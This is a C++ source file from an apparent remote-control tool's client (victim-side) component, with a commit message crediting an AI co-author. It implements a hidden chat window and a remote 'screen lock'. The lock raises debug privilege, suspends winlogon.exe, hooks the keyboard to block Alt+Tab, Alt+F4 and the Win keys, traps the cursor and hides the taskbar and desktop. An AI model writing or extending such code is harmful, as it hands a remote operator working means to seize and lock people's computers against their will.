yuanyuanxianganddeepseek-v4-pro
6c9fef8793
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock. Co-Authored-By: deepseek-v4-pro
337 lines
12 KiB
C++
337 lines
12 KiB
C++
// ChatManager.cpp: implementation of the CChatManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "stdafx.h"
|
|
#include "ChatManager.h"
|
|
#include "Common.h"
|
|
#include "resource.h"
|
|
#include <TlHelp32.h>
|
|
|
|
#if ENABLE_MESSAGE
|
|
|
|
// 远程交谈（双向聊天）被控端实现，移植自 SimplePlugins/ChatManager。
|
|
// 服务端 CChat 对话框发起会话后，被控端在此显示聊天窗口，并支持服务端远程锁定屏幕。
|
|
|
|
#define SE_DEBUG_PRIVILEGE 20
|
|
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
|
|
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
|
|
|
|
struct PIDWNDINFO {
|
|
DWORD dwProcessId;
|
|
HWND hWnd;
|
|
};
|
|
|
|
// 锁定屏幕相关的全局状态（同一会话内只有一个 CChatManager 实例）
|
|
static HANDLE g_hProcess = NULL;
|
|
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
|
|
static HHOOK g_hKeyBoard = NULL;
|
|
static int g_nLocked = 0;
|
|
|
|
static DWORD GetWinlogonPid()
|
|
{
|
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (snap == INVALID_HANDLE_VALUE) return 0;
|
|
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
|
|
BOOL rtn = Process32First(snap, &pEntry);
|
|
while (rtn) {
|
|
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
|
|
CloseHandle(snap);
|
|
return pEntry.th32ProcessID;
|
|
}
|
|
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
|
|
rtn = Process32Next(snap, &pEntry);
|
|
}
|
|
CloseHandle(snap);
|
|
return 0;
|
|
}
|
|
|
|
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
|
|
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
|
|
{
|
|
if (code == HC_ACTION) {
|
|
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
|
|
switch (wParam) {
|
|
case WM_KEYDOWN:
|
|
case WM_SYSKEYDOWN:
|
|
case WM_KEYUP:
|
|
case WM_SYSKEYUP:
|
|
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|
|
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|
|
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|
|
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|
|
|| (p->vkCode == VK_LWIN)
|
|
|| (p->vkCode == VK_RWIN)) {
|
|
return 1;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
|
}
|
|
|
|
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
|
|
{
|
|
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
|
|
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
|
|
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
|
|
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
|
|
ShowWindow(hWnd, SW_MINIMIZE);
|
|
return TRUE;
|
|
}
|
|
DWORD dwProcessId;
|
|
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
|
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
|
pInfo->hWnd = hWnd;
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
// 安装键盘钩子并挂起 winlogon（必须在聊天窗口线程调用，确保钩子有消息循环）
|
|
static void ChatSetHook()
|
|
{
|
|
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
|
|
HMODULE hMod = LoadLibrary("ntdll");
|
|
if (hMod) {
|
|
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
|
|
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
|
|
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
|
|
DWORD pid = GetWinlogonPid();
|
|
BOOLEAN dummy = 0;
|
|
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
|
|
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
|
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
|
|
}
|
|
}
|
|
|
|
static void ChatUnSetHook()
|
|
{
|
|
if (g_hKeyBoard) {
|
|
UnhookWindowsHookEx(g_hKeyBoard);
|
|
g_hKeyBoard = NULL;
|
|
}
|
|
if (g_lpfnNtResumeProcess && g_hProcess) {
|
|
g_lpfnNtResumeProcess(g_hProcess);
|
|
}
|
|
if (g_hProcess) {
|
|
CloseHandle(g_hProcess);
|
|
g_hProcess = NULL;
|
|
}
|
|
g_lpfnNtResumeProcess = NULL;
|
|
}
|
|
|
|
// 解除锁定：恢复鼠标/屏保/任务栏/开始菜单/桌面，并恢复 winlogon
|
|
static void UnlockScreen()
|
|
{
|
|
ChatUnSetHook();
|
|
ClipCursor(NULL);
|
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
|
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
|
|
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
|
|
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
|
|
g_nLocked = 0;
|
|
}
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
|
{
|
|
m_hInstance = HINSTANCE(user);
|
|
m_hWnd = NULL;
|
|
m_bRun = TRUE;
|
|
g_nLocked = 0;
|
|
|
|
// 向服务端发起远程交谈，服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
|
|
BYTE bToken = TOKEN_CHAT_START;
|
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
|
WaitForDialogOpen();
|
|
|
|
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
|
|
Mprintf("Chat 构造\n");
|
|
}
|
|
|
|
CChatManager::~CChatManager()
|
|
{
|
|
m_bRun = FALSE;
|
|
while (m_hThread)
|
|
Sleep(100);
|
|
|
|
if (g_nLocked == 1) {
|
|
UnlockScreen();
|
|
}
|
|
if (m_hWnd) {
|
|
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
|
}
|
|
Mprintf("Chat 析构\n");
|
|
}
|
|
|
|
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
|
|
{
|
|
CChatManager* pThis = (CChatManager*)lParam;
|
|
HANDLE& hThread(pThis->m_hThread);
|
|
|
|
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
|
|
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
|
if (pThis->m_hWnd) {
|
|
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
|
|
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
|
|
// 移除最小化/最大化按钮
|
|
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
|
|
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
|
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
|
|
|
|
MSG msg;
|
|
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
|
|
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
|
|
TranslateMessage(&msg);
|
|
DispatchMessage(&msg);
|
|
}
|
|
}
|
|
}
|
|
|
|
CloseHandle(hThread);
|
|
hThread = NULL;
|
|
return 0;
|
|
}
|
|
|
|
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
|
{
|
|
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
|
|
switch (uMsg) {
|
|
case WM_INITDIALOG:
|
|
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
|
|
pThis = (CChatManager*)lParam;
|
|
SetWindowText(hDlg, "远程交谈");
|
|
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
|
|
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
|
|
{
|
|
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
|
|
if (hIcon) {
|
|
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
|
|
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
|
|
}
|
|
}
|
|
return TRUE;
|
|
|
|
case WM_COMMAND:
|
|
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
|
|
char str[4096] = { 0 };
|
|
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
|
|
if (str[0] == 0) {
|
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
|
return TRUE; // 消息为空不发送
|
|
}
|
|
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
|
|
|
|
SYSTEMTIME st;
|
|
GetLocalTime(&st);
|
|
char Text[5120] = { 0 };
|
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
|
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
|
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
|
|
int nLen = GetWindowTextLength(hEditChatLog);
|
|
if (nLen >= 20000) {
|
|
SetWindowText(hEditChatLog, "");
|
|
nLen = GetWindowTextLength(hEditChatLog);
|
|
}
|
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
|
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
|
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
|
return TRUE;
|
|
}
|
|
if (LOWORD(wParam) == IDC_BUTTON_END) {
|
|
// 被控端主动结束交谈：关闭本地聊天窗口
|
|
SendMessage(hDlg, WM_USER + 1, NULL, NULL);
|
|
return TRUE;
|
|
}
|
|
break;
|
|
|
|
case WM_CLOSE:
|
|
return 0;
|
|
|
|
case WM_USER + 1:
|
|
pThis->m_hWnd = NULL;
|
|
DestroyWindow(hDlg);
|
|
return TRUE;
|
|
|
|
case WM_USER + 2:
|
|
ChatSetHook();
|
|
return TRUE;
|
|
|
|
case WM_DESTROY:
|
|
PostQuitMessage(0);
|
|
return TRUE;
|
|
|
|
default:
|
|
break;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
{
|
|
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
|
|
|
|
if (ulLength == 1) {
|
|
switch (szBuffer[0]) {
|
|
case COMMAND_NEXT_CHAT:
|
|
NotifyDialogIsOpen();
|
|
return;
|
|
case COMMAND_CHAT_CLOSE:
|
|
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
|
return;
|
|
case COMMAND_CHAT_SCREEN_LOCK:
|
|
NotifyDialogIsOpen();
|
|
if (m_hWnd && g_nLocked == 0) {
|
|
ShowWindow(m_hWnd, SW_RESTORE);
|
|
RECT rct = { 0 };
|
|
GetWindowRect(m_hWnd, &rct);
|
|
ClipCursor(&rct);
|
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
|
|
PIDWNDINFO pwi = { 0 };
|
|
pwi.dwProcessId = 0;
|
|
pwi.hWnd = m_hWnd;
|
|
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
|
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
|
|
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
|
|
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
|
|
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
|
|
g_nLocked = 1;
|
|
}
|
|
return;
|
|
case COMMAND_CHAT_SCREEN_UNLOCK:
|
|
if (g_nLocked == 1) {
|
|
UnlockScreen();
|
|
}
|
|
return;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
// 收到服务端发来的聊天文本
|
|
SYSTEMTIME st;
|
|
GetLocalTime(&st);
|
|
char Text[8192] = { 0 };
|
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
|
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
|
|
if (m_hWnd) {
|
|
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
|
|
int nLen = GetWindowTextLength(hEditChatLog);
|
|
if (nLen >= 20000) {
|
|
SetWindowText(hEditChatLog, "");
|
|
nLen = GetWindowTextLength(hEditChatLog);
|
|
}
|
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
|
ShowWindow(m_hWnd, SW_RESTORE);
|
|
}
|
|
}
|
|
|
|
#endif
|